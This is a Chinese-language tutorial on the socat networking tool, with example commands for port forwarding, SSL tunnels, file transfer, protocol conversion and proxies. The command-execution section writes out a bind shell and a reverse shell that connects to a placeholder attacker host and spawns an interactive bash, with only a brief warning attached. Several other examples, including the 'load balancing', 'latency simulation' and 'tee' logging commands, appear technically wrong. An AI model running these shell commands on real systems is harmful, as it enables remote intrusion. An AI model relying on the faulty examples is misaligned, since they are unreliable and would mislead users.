linux socat命令

socat 是 "Socket CAT" 的缩写,是一个功能极其强大的多用途网络工具,被称为 netcat 的增强版,支持多种协议和复杂的网络操作。

一、Socat 简介

Socat 是一个命令行工具,用于在两个数据流之间建立双向通道。与 netcat 相比,socat 提供:

  • 更多协议支持(TCP, UDP, SSL, SOCKS, 文件,管道等)
  • 更好的安全特性(SSL/TLS 加密)
  • 更灵活的地址选项
  • 高级功能(forking,logging,tuning)
  • 稳定的连接处理

二、基本语法

socat [选项] 地址1 地址2

Socat 的基本概念是连接两个地址(address)。每个地址定义了一个数据源或目标。

三、常用地址类型

地址类型 格式 说明
TCP TCP:host:port TCP 客户端连接
TCP-LISTEN TCP-LISTEN:port TCP 服务器监听
UDP UDP:host:port UDP 客户端
UDP-LISTEN UDP-LISTEN:port UDP 服务器监听
SSL SSL:host:port SSL 客户端
OPENSSL OPENSSL:host:port OpenSSL 连接
FILE FILE:filename 文件读写
EXEC EXEC:command 执行命令
STDIO STDIO 标准输入输出
PIPE PIPE:filename 命名管道
SOCKS SOCKS:host:port SOCKS 代理

四、常用选项

选项 说明
-d 调试信息级别(-d,-dd,-ddd)
-D 十六进制和 ASCII 转储数据
-ly[facility] 日志到 syslog
-lf logfile 日志到文件
-v 详细模式
-x 十六进制转储传输的数据
-u 单向模式(从左到右)
-U 单向模式(从右到左)
-b size 设置缓冲区大小
-t timeout 超时时间(秒)
-T timeout 总超时时间
fork 为每个连接 fork 子进程
reuseaddr 允许地址重用
keepalive 保持连接活动

五、常用实例

1. 简单的 TCP 端口转发(类似 netcat)

# 监听端口并转发到远程主机
socat TCP-LISTEN:8080,fork TCP:example.com:80

# 客户端连接到本地转发
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

2. 双向端口转发

# 将本地 8080 端口转发到远程 80 端口
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.100:80

# 使用 keepalive 保持连接
socat TCP-LISTEN:8080,fork,reuseaddr,keepalive TCP:example.com:443

3. UDP 端口转发

# UDP 端口转发
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

# TCP 转 UDP
socat TCP-LISTEN:5353,fork UDP:8.8.8.8:53

4. SSL/TLS 加密连接

# 创建 SSL 服务器(需要证书)
socat OPENSSL-LISTEN:4433,cert=server.pem,verify=0,fork,reuseaddr TCP:localhost:80

# SSL 客户端连接
socat STDIO OPENSSL:localhost:4433,verify=0

# SSL 隧道(加密 TCP 连接)
socat TCP-LISTEN:8888,fork,reuseaddr OPENSSL:example.com:443

5. 文件传输

# 发送文件(接收端)
socat -u TCP-LISTEN:8888,fork,reuseaddr OPEN:output.txt,creat,append

# 发送文件(发送端)
socat -u OPEN:input.txt TCP:192.168.1.100:8888

# 双向文件复制
socat OPEN:file1.txt OPEN:file2.txt,creat,trunc

6. 命令执行和 Shell

# 执行命令并返回结果
socat TCP-LISTEN:8888,fork,reuseaddr EXEC:'/bin/bash -i'

# 反向 Shell
# 攻击机监听
socat TCP-LISTEN:4444,fork,reuseaddr -

# 目标机连接
socat TCP:attacker_ip:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
注意:反向 Shell 功能应在合法授权的环境中使用,未经授权的使用是非法的。

7. 数据记录和监控

# 记录所有传输数据到文件
socat TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80 | tee -a log.txt

# 十六进制转储数据
socat -x TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80

# 详细调试输出
socat -d -d TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80

8. 协议转换

# TCP 转 UNIX Socket
socat TCP-LISTEN:8080,fork,reuseaddr UNIX-CONNECT:/var/run/service.sock

# UNIX Socket 转 TCP
socat UNIX-LISTEN:/tmp/test.sock,fork,reuseaddr TCP:localhost:8080

# 串口转 TCP
socat TCP-LISTEN:8888,fork,reuseaddr /dev/ttyS0,raw,echo=0,b115200

9. 负载均衡和连接池

# 简单负载均衡(轮询)
socat TCP-LISTEN:8080,fork,reuseaddr \
    TCP:backend1:80 \
    TCP:backend2:80 \
    TCP:backend3:80

10. SOCKS 代理

# 创建 SOCKS5 代理
socat TCP-LISTEN:1080,fork,reuseaddr SOCKS5:proxy.example.com:1080

# 通过 SOCKS 代理连接
socat TCP-LISTEN:8888,fork,reuseaddr SOCKS4A:socksproxy:1080:example.com:80

11. 时间和日期服务

# 创建时间服务器(RFC868)
socat TCP-LISTEN:37,fork,reuseaddr SYSTEM:'date +%s'

# 创建日期时间服务器
socat TCP-LISTEN:13,fork,reuseaddr EXEC:'date'

12. 网络测试和调试

# 简单的 HTTP 服务器
socat TCP-LISTEN:80,fork,reuseaddr \
    SYSTEM:'echo "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello World</h1>"'

# 网络延迟模拟
socat TCP-LISTEN:8080,fork,reuseaddr \
    TCP:example.com:80,setsockopt-int=1:6:1

六、高级配置示例

1. 带认证的 SSL 隧道

# 服务器端
socat OPENSSL-LISTEN:4433,cert=server.pem,key=server.key,cafile=ca.crt,verify=1,fork,reuseaddr \
    TCP:localhost:80

# 客户端
socat TCP-LISTEN:8888,fork,reuseaddr \
    OPENSSL:server.example.com:4433,cert=client.pem,key=client.key,cafile=ca.crt,verify=1

2. 链式连接

# 通过多个中间主机转发
socat TCP-LISTEN:8080,fork,reuseaddr \
    SOCKS4:socks1:1080:host2:22 \
    SOCKS4:socks2:1080:target:80

3. 带过滤和处理的转发

# 过滤特定内容的转发
socat TCP-LISTEN:8080,fork,reuseaddr \
    SYSTEM:'grep -v "secret" | socat - TCP:example.com:80'

七、Socat 与 Netcat 对比

特性 Socat Netcat
协议支持 TCP, UDP, SSL, SOCKS, 文件, 管道等 TCP, UDP (基本)
SSL/TLS 原生支持 需要额外工具
稳定性 连接保持稳定 连接可能中断
性能 高性能,支持多连接 轻量级
复杂性 学习曲线较陡峭 简单易用
用途 专业网络工具,复杂场景 快速测试,简单任务

八、常见问题解决

# 使用 sudo
sudo socat TCP-LISTEN:80,fork,reuseaddr TCP:localhost:8080

# 或使用 authbind
authbind socat TCP-LISTEN:80,fork,reuseaddr TCP:localhost:8080

# 添加 keepalive 和重用选项
socat TCP-LISTEN:8080,fork,reuseaddr,keepalive,keepidle=10,keepintvl=10,keepcnt=2 TCP:example.com:80

# 使用不同级别的调试信息
socat -d -d TCP-LISTEN:8080,fork TCP:example.com:80
socat -d -d -d TCP-LISTEN:8080,fork TCP:example.com:80

# 十六进制转储数据
socat -x TCP-LISTEN:8080,fork TCP:example.com:80

九、最佳实践

使用建议
  • 始终使用 fork 选项处理多个连接
  • 使用 reuseaddr 避免 "Address already in use" 错误
  • 生产环境使用 keepalive 保持连接
  • 使用 -t-T 设置超时
  • 复杂配置使用配置文件
  • 启用日志记录进行调试和监控